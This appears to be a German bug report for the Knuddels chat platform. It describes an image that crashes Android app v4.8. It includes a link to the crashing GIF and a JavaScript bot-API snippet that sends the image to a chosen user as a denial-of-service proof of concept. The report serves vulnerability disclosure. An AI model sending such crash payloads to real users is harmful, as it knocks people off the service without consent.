Bilder können den Handy Client zum absturz bringen [BTS]

Ich habe dies im Knuddels-Forum bereits erläutert:

https://forum.knuddels.de/ubbthreads.php?ubb=showflat&Number=2854359

Dies kann für böse Zwecke missbraucht werden indem man einem Nutzer eine /m mit nur diesen Bild als mit KCode-Verlinkung sendet. Oder gar alle Android User aus dem Channel schmeißen indem man es öffentlich schreibt.

Sollte es mit dem Beispielbild aus dem Forum nicht zu einem Absturz kommen. http://scifi-action.de/mobileApp_crash.gif bringt v4.8 nach wie vor zum Absturz.

Getestet mit v4.8 der App

var App = (new function() {
    this.onAppStart = function() {
        var nick = 'An Android App User';
        var userAccess = KnuddelsServer.getUserAccess(); if (userAccess.exists(nick)) { user = userAccess.getUserById(userAccess.getUserId(nick)); }
        KnuddelsServer.getDefaultBotUser().sendPostMessage('°>http://scifi-action.de/mobileApp_crash.gif<° Text', '°>http://scifi-action.de/mobileApp_crash.gif<° Text', user);
    }
}());

Comments (3)